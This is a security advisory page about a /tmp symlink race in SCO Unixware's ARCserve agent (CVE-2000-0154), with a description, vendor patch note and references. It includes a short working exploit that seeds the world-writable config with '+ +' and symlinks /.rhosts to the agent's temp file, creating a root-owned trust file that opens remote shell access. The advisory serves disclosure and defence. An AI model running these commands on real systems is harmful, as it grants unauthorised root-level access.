SCO Unixware ARCserver /tmp symlink Vulnerability

Bugtraq ID:	988
Class:	Race Condition Error
CVE:	CVE-2000-0154
Remote:	No
Local:	No
Published:	Feb 15 2000 12:00AM
Updated:	Jul 11 2009 01:56AM
Credit:	This vulnerability was discovered by Shawn Bracken. It was first made public in a Network Associates security advisory on February 15, 2000.
Vulnerable:	SCO Unixware 7.1.1 SCO Unixware 7.1
Not Vulnerable:

SCO Unixware ARCserver /tmp symlink Vulnerability

A symlink following vulnerability exists in the ARCserve agent, as shipped with SCO Unixware 7. Upon startup, the asagent program will create several files in /tmp. These are created mode 777, and can be removed and replaced by any user on the system. If these are replaced with symlinks, files can be created anywhere on the filesystem, owned by root. This cannot be used to alter the permissions of existing files. However, the contents of the new file are contained in /usr/CYEagent/agent.cfg. This file is world writable.

SCO Unixware ARCserver /tmp symlink Vulnerability

echo "+ +" > /usr/CYEagent/agent.cfg
rm /tmp/asagent.tmp
ln -sf /.rhosts /tmp/asagent.tmp

SCO Unixware ARCserver /tmp symlink Vulnerability

Solution:
SCO has made patches available for this problem. They are available at http://www.sco.com/support.

A suitable temporary solution may be to disable ARCserve.

SCO Unixware ARCserver /tmp symlink Vulnerability

References:

• Buffer overflow in /usr/sbin/in.i2odialogd (SCO)
  
• Vendor Homepage (SCO)